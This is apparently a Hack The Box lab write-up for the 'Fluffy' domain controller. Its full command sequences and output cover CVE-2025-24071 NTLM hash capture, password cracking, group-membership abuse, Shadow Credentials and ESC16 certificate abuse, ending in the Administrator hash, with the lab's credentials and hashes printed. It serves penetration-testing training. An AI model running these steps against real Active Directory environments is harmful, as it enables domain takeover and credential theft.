Foothold

Machine Information

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

Internal Recon

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-25 23:55:15Z)
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-25T23:56:50+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Based on the open ports I seem to be dealing with a Domain Controller, which has the FQDN of DC01.fluffy.htb and is 7 hours ahead of me. Before proceeding I add all the relevant entries to my /etc/hosts file.

SMB

With the provided credential I enumerate the exposed SMB shares, where I find the non-default IT share. On which the user has both read and write permissions.

$ nxc smb DC01.FLUFFY.HTB -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB         10.129.212.220  445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.129.212.220  445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.129.212.220  445    DC01             [*] Enumerated shares
SMB         10.129.212.220  445    DC01             Share           Permissions     Remark
SMB         10.129.212.220  445    DC01             -----           -----------     ------
SMB         10.129.212.220  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.212.220  445    DC01             C$                              Default share
SMB         10.129.212.220  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.212.220  445    DC01             IT              READ,WRITE
SMB         10.129.212.220  445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.212.220  445    DC01             SYSVOL          READ            Logon server share

To access the contents of the share I use smbclient.py. Within the share are two ZIP-archives likely related to software installers and single PDF file.

$ smbclient.py 'j.fleischman:J0elTHEM4n1990!@DC01.FLUFFY.HTB'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
Type help for list of commands
# use IT
# ls
drw-rw-rw-          0  Mon May 26 02:03:59 2025 .
drw-rw-rw-          0  Mon May 26 02:03:59 2025 ..
drw-rw-rw-          0  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64
-rw-rw-rw-    1827464  Fri May 16 16:51:49 2025 Everything-1.4.1.1026.x64.zip
drw-rw-rw-          0  Fri May 16 16:51:49 2025 KeePass-2.58
-rw-rw-rw-    3225346  Fri May 16 16:51:49 2025 KeePass-2.58.zip
-rw-rw-rw-     169963  Sat May 17 16:31:07 2025 Upgrade_Notice.pdf
# get Upgrade_Notice.pdf

Since the PDF stands out the most and has the highest chance to contain relevant information I download it from the share. Just as the name of the file alluded to, the PDF contains insights into recent, unpatched vulnerabilities affecting the environment.

Privilege Escalation

CVE-2025-24071

Starting with critical vulnerabilities I quickly find proof-of-concept code for CVE-2025-24071 in this Github repository and an accompanying blog post from which the following explanation is quoted.

When a specially crafted .library-ms file containing an SMB path is compressed within a RAR/ZIP archive and subsequently extracted, Windows Explorer automatically parses the contents of this file due to its built-in indexing and preview mechanism.

And in a usual Windows manner the indexing of the file location, even if points to a remote UNC path, will trigger an attempt to authenticated to said share. Allowing a listening attacker to gather NetNTLMv2 hashes and crack them offline. So all in all this vulnerability looks rather promising and the other ZIP archives in the IT share strength this idea.

From there I generate a ZIP archive containing a .library-ms file pointing to my attacker machine using the PoC linked above. Using smbclient.py again to connect to the IT share and put the crafted ZIP onto the share.

Once that is done I start responder to catch any incoming authentication requests. After waiting for a short while the NetNTLMv2 hash of the user p.agila is captured.

$ sudo responder -I tun0
[sudo] password for kali:
 
[...]
 
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
[...]
[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.155]
    Responder IPv6             [dead:beef:2::1099]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]
 
[...]
 
[+] Listening for events...
 
[SMB] NTLMv2-SSP Client   : 10.129.212.220
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:5b396b222d50c9b6:6198AE0FC2C0DCB75B00273C8136D281:0101000000000000802DCD64E3CD[...]

This hash was then successfully cracked using Hashcat to recover the plaintext password for the user.

$ hashcat loot/p.agila.hash /usr/share/wordlists/rockyou.txt --show
 
5600 | NetNTLMv2 | Network Protocol
 
P.AGILA::FLUFFY:5b396b222d50c9b6:6198ae0fc2c0dcb75b00273c8136d281:0101000000000000802dcd64e3cd[...]:prometheusx-303

Now circling back to BloodHound and looking Outbound Object Control for the newly compromised user shows a path towards compromised three different service accounts. Notable among them is the winrm_svc user, which is a member of the Remote Management Users group.

Since pathfinding in BloodHound only allows for one start and one destination the following Cypher query was used to created the graph shown in the image above.

MATCH p = (u:User {objectid: "S-1-5-21-497550768-2797716248-2627064577-1601"})-[:MemberOf]->(g:Group {objectid: "S-1-5-21-497550768-2797716248-2627064577-1604"})-[:GenericAll]-(g1:Group {objectid: "S-1-5-21-497550768-2797716248-2627064577-1607"})-[:GenericWrite]-(u1:User)
RETURN p

DACL Abuse

With the same credential I also collect information about the Active Directory using bloodhound-ce-python1. The collected data is ingested by the BloodHound Community Edition and will be used later. Which is also available in the Kali Linux repositories since the 2025.2 version.

$ bloodhound-ce-python -u 'j.fleischman' -p 'J0elTHEM4n1990!' -d 'fluffy.htb' --zip --dns-tcp -ns 10.129.212.220 --dns-timeout 5 -c All
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
WARNING: Re-establishing connection with server
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 02M 08S
INFO: Compressing output into 20250526022134_bloodhound.zip

Going down the shown attack path I first add myself (p.agila) to the Service Accounts group, making use of my GenericAll over said group.

$ bloodyAD --host 10.129.212.220 -u 'p.agila' -p 'prometheusx-303' -d 'fluffy.htb' add groupMember 'SERVICE ACCOUNTS' 'p.agila'
[+] p.agila added to SERVICE ACCOUNTS

From here on out I could either add Service Principal Names (SPNs) to each of those accounts using a tool like PowerView or targetedKerberoasting.py and subsequently Kerberoast these account to potentially crack their passwords. Alternatively if AD CS is used within the domain I can abuse msDS-KeyCredentialLink to get the NT hash for the accounts.

While BloodHound does not contain any AD CS information, despite being able to collect it, I still check if AD CS is enabled through different tools. Because it is rather straightforward and can save me from needlessly trying to crack passwords.

Since I recently came across powerview.py I decided to try it out. After connecting as p.agila I can use most of the PowerView cmdlets such as Get-DomainCA to check if a CA and AD CS are configured.

$ powerview 'FLUFFY.HTB/p.agila:prometheusx-303@DC01.FLUFFY.HTB'
╭─LDAPS─[DC01.fluffy.htb]─[FLUFFY\p.agila]-[NS:<auto>]
╰─PV ❯ Get-DomainCA
cn                       : fluffy-DC01-CA
cACertificate            : MIIDjjCCAnagAwIBAgIQNnDE[...]
distinguishedName        : CN=fluffy-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=fluf
                           fy,DC=htb
displayName              : fluffy-DC01-CA
name                     : fluffy-DC01-CA
objectGUID               : {d90880fd-2a8f-43c4-8e12-57c27c80e5ad}
dNSHostName              : DC01.fluffy.htb
cACertificateDN          : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
certificateTemplates     : DirectoryEmailReplication
                           DomainControllerAuthentication
                           KerberosAuthentication
                           EFSRecovery
                           EFS
                           DomainController
                           WebServer
                           Machine
                           User
                           SubCA
                           Administrator

With the knowledge that AD CS is in play acquired I proceed to use certipy to automatically perform the ShadowCredential attack for each of the three service accounts.

$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'winrm_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f'
[*] Adding Key Credential with device ID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '664c3cf5-2cb5-40cd-ec6c-774b60c98a3f' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
 
$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'ca_svc'
[...]
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
 
$ certipy shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -dc-ip 10.129.212.220 -account 'ldap_svc'
[...]
[*] NT hash for 'ldap_svc': 22151d74ba3de931a352cba1f9393a37

The NT hash of winrm_svc can then be used to connect to the machine using Powershell Remoting via evil-winrm to read the user flag.

Putting together the knowledge that AD CS is used and that I have compromised an account called ca_svc. I use the latest version certipy to find vulnerable configurations.

$ certipy find -vulnerable -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250526032204_Certipy.txt'
[*] Wrote text output to '20250526032204_Certipy.txt'
[*] Saving JSON output to '20250526032204_Certipy.json'
[*] Wrote JSON output to '20250526032204_Certipy.json'

Checking out the collected information shows that the Certificate Authority (CA) is vulnerable to ESC16. This AD CS misconfiguration is exploited in a very similar manner to ESC9. Where in ESC9 the Security Extension is disabled happened on a specific certificate template, in ESC16 the Security Extension is disabled globally on the CA.

Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates

ESC 16

ESC16 is basically ESC9 at a “larger scale”, where as in Certified the CT_FLAG_NO_SECURITY_EXTENSION was configured on a specific template in this scenario is configured globally on the CA. So to exploit this misconfiguration I use the steps as before.

To start I use certipy to update the UserPrincipalName of ca_svc to Administrator. So that the requested certificate for the Users template contains said. UPN this will allow me to authenticate as Administrator using the generated PFX file.

$ certipy account update -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -upn 'administrator@fluffy.htb' -user 'ca_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator@fluffy.htb
[*] Successfully updated 'ca_svc'
 
$ certipy req -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 16
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

However before I can successfully authenticate I have to change back the UPN of ca_svc. Since otherwise there will be conflict when trying to authenticate since two users have the same UPN. With that that done I can get the NT hash for the Administrator user and from there dump the entire domain if need be.

$ certipy account update -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.212.220 -upn 'ca_svc@fluffy.htb' -user 'ca_svc'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
 
$ certipy auth -pfx administrator.pfx -u 'administrator@fluffy.htb' -dc-ip 10.129.212.220
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Using principal: administrator@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

Footnotes

  1. https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce